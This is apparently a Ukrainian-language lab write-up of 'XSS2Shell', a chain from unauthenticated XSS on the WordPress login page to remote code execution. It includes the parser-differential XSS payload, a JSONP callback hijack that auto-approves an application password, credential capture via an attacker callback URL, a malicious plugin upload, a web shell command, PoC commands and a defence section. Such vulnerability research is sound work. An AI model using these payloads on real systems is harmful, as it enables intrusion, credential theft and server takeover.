Лише авторизоване тестування.
Усе наведене нижче виконувалося в локальній лабораторії (WordPress 7.0.2 на localhos). Не використовуйте ці техніки проти систем, якими ви не володієте або на тестування яких не маєте явного дозволу.
Короткий виклад для керівництва
XSS2Shell — це не одна вразливість, а семиетапний ланцюжок експлойтів, який починається з одного символу (< з наступним пробілом), що обходить два різні HTML-парсери на сторінці входу WordPress, і закінчується виконанням PHP на сервері від імені www-data.
Що робить це небезпечним:
- Перший етап не потребує жодної автентифікації — будь-хто може ініціювати виконання JavaScript на
wp-login.php. - Вразливість знаходиться в ядрі WordPress — не в плагіні; фактично кожна підтримувана інсталяція з 2016 року є вразливою.
- Використовується власний код WordPress —
user-profile.js, REST JSONP, паролі застосунків, завантаження плагінів — як інструменти. - Повноцінний RCE продемонстровано та підтверджено WordPress — хоча для цього потрібно змусити залогіненого адміністратора зробити один клік.
У цій статті розглядається кожен етап із знімками екрана з нашої локальної лабораторії.
Лабораторне середовище
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 на http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Кожен сайт WordPress відкриває /wp-login.php. Ця сторінка є точкою входу для всього ланцюжка.
Етап 0: Диференціал парсера (першопричина)
Коли вхід не вдається, WordPress виводить введене ім'я користувача у повідомленні про помилку. Ім'я користувача проходить через два санітайзери, які по-різному розуміють, що таке «тег»:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Корисне навантаження використовує пробіл після<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XНа вразливому WordPress 7.0.2 це виживає після санітизації та стає живим DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
На виправленому WordPress 7.0.4 той самий payload екранується у повідомленні про помилку — жодних живих елементів.
Ця вразливість існує з WordPress 4.7 (2016 рік) і залишалась непоміченою протягом багатьох років аудитів безпеки.
Етап 1: XSS без автентифікації (вхід не потрібен)
Впроваджені вузли DOM відповідають селекторам, які власний user-profile.js WordPress шукає на сторінці входу (завантажується для процесу скидання пароля):
.reset-pass-submit .wp-generate-pwавтоматично натискається під час завантаження сторінки- Клік передається до делегованого обробника
#color-picker - Перевірка захисту
user_id === checkuser_idпроходить, оскільки обидва значення —undefined - jQuery виконує POST до
ajaxurl— алеajaxurlне існує на сторінці входу…
Якщо тільки ми не підмінимо його:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Елемент <area id=ajaxurl> стає window.ajaxurl. jQuery викликає .toString() → повертає href. WordPress REST повертає JSONP → jQuery globalEval() → alert()виконується у контексті WordPress origin.

Надішліть форму (або відкрийте demo/stage1-preauth-xss.html і натисніть Run Stage 1):

Вплив лише цього етапу: фішинг облікових даних на справжньому домені, session riding, виклики API того самого origin — без жодної автентифікації.
Етап 2: Соціальна інженерія — клік адміністратора
Етапи 2–7 вимагають, щоб адміністратор, що увійшов до системи, відкрив сторінку під контролем зловмисника. Саме це знижує CVSS нижче 10 — однак це реалістично для цілеспрямованих атак.
Адміністратор може отримати: «Ваша сесія закінчилась — натисніть тут для повторної автентифікації.»

Після натискання сторінка зловмисника:
- Відкриває дочірнє спливаюче вікно (
about:blank) - Перенаправляє головне вікно на сторінку авторизації паролів додатків WordPress
- Записує XSS-форму в дочірнє спливаюче вікно та автоматично надсилає її до
wp-login.php

Етап 3: Виконання методу в тому самому джерелі (SOME) — автоматичне підтвердження
XSS-навантаження дочірнього вікна змінює зворотний виклик JSONP з alert на:
window.opener.approve.clickWordPress REST обгортає відповідь:
/**/window.opener.approve.click({...})Рантайм отримує доступ до window.opener (батьківське вікно) → .approve (кнопка #approve) → .click(). Кнопка Approve для пароля додатку натискається автоматично — без жодної взаємодії користувача на цій сторінці.

Зверніть увагу на URL зворотного виклику на сторінці: облікові дані будуть надіслані на http://127.0.0.1:9090/callback?...&password=[------].
Етап 4: Перехоплення пароля додатка
WordPress створює новий пароль додатка та перенаправляє на success_url зловмисника з обліковими даними в рядку запиту:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXЗловмисник тепер має облікові дані HTTP Basic auth для WordPress REST API — отримані з сесії адміністратора, без того щоб адміністратор щось вводив після початкового переходу за посиланням.
Етап 5: Публікація сторінки, підконтрольної зловмиснику
Використовуючи викрадений пароль додатка, зловмисник надсилає POST-запит до /wp-json/wp/v2/pages та публікує сторінку з вбудованим JavaScript. Адміністратори мають можливість unfiltered_html — теги скриптів зберігаються.
Етап 6: Завантаження плагіна через сесію адміністратора
JavaScript зловмисника (що виконується в браузері адміністратора на опублікованій сторінці):
- Отримує
/wp-admin/plugin-install.php?tab=uploadдля отримання nonce завантаження - Надсилає POST-запит із шкідливим ZIP-архівом до
/wp-admin/update.php?action=upload-plugin - WordPress розпаковує його до
wp-content/plugins/xss2shell/
Плагін не потребує активації. PHP-файли в директорії плагіна доступні безпосередньо через вебсервер.
Етап 7: Виконання віддаленого коду
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiВідповідь:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Тепер зловмисник виконує довільні команди від імені користувача веб-сервера — читає wp-config.php (облікові дані бази даних), вивантажує базу даних, здійснює латеральне переміщення.
Повний вивід терміналу PoC:

Повний ланцюжок одним поглядом
sequenceDiagram participant A as Сервер зловмисника participant V as Браузер жертви participant W as WordPress 7.0.2 Note over V,W: Адмін увійшов до системи V->>A: Відкриває фішингове посилання (1 клік) A->>V: HTML зловмисника + дочірнє вікно V->>W: Головне вікно → authorize-application.php V->>W: Дочірнє вікно надсилає XSS-навантаження на wp-login.php W->>V: JSONP виконує window.opener.approve.click Note over V,W: Кнопка Approve натискається автоматично W->>A: Перенаправлення з паролем додатку A->>W: REST API публікує сторінку (Basic auth) V->>W: Адмін відвідує сторінку → завантажує ZIP плагіна V->>W: GET shell.php?cmd=whoami W-->>A: www-dataНаскільки це насправді небезпечно?
Що гарантовано (висока впевненість)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Що вимагає додаткових умов (шлях до RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Калібрування рівня серйозності
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Підсумок: Це не така вразливість, як Log4Shell — черв'якоподібна RCE без кліків. Це глибоко технічна вразливість рівня ядра, що впливає на ~43% вебу, де:
- Лише Етап 1 є серйозною pre-auth XSS на сторінці входу
- Повний ланцюжок перетворює один клік адміністратора на компрометацію сервера
- Першопричина (різниця між парсерами) стосується будь-якої кодової бази, що використовує кілька HTML-парсерів
Власне повідомлення WordPress зазначає, що RCE вимагає «умов поза контролем зловмисника» та «успішної соціальної інженерії.» Це точно — але продемонстрований ланцюжок робить ці умови досяжними за допомогою одного посилання.
Відтворення повного ланцюжка локально
# 1. Запустіть лабораторію make up # 2. Увімкніть паролі додатків по HTTP (лише для лабораторії) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Запустіть слухач PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. У браузері: # a. Увійдіть як адмін на http://localhost:9080/wp-login.php # b. Відкрийте http://127.0.0.1:9091/phishing-sim.html # c. Натисніть «Open attacker page» (дозвольте спливаючі вікна) # d. Зачекайте на виведення у терміналі результатів shell + whoamiЗахист
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Виправлення додає esc_html() до імені користувача в шляху помилки входу — забезпечуючи обробку рядка як тексту, а не повторний розбір як HTML.
Чому це важливо для досліджень у сфері безпеки
Кожна ланка ланцюжка сама по собі нецікава:
- Диференціал парсера → незначне технічне обслуговування низького рівня серйозності
- Неправильний скрипт завантажується на сторінці входу → низький
- Зворотний виклик JSONP перевіряється регулярним виразом → середній
- Пароль застосунку в URL перенаправлення → середній
- Каталог плагінів виконує PHP без активації → відома особливість дизайну
У сукупності вони дають CVSS 8.9 та отримання оболонки.
Урок: оцінюючи знахідки XSS, запитайте себе «що вже завантажено на цій сторінці і що це зробить, якщо передати йому потрібні DOM-вузли?» Серйозність — це властивість ланцюжка, а не окремої вразливості.



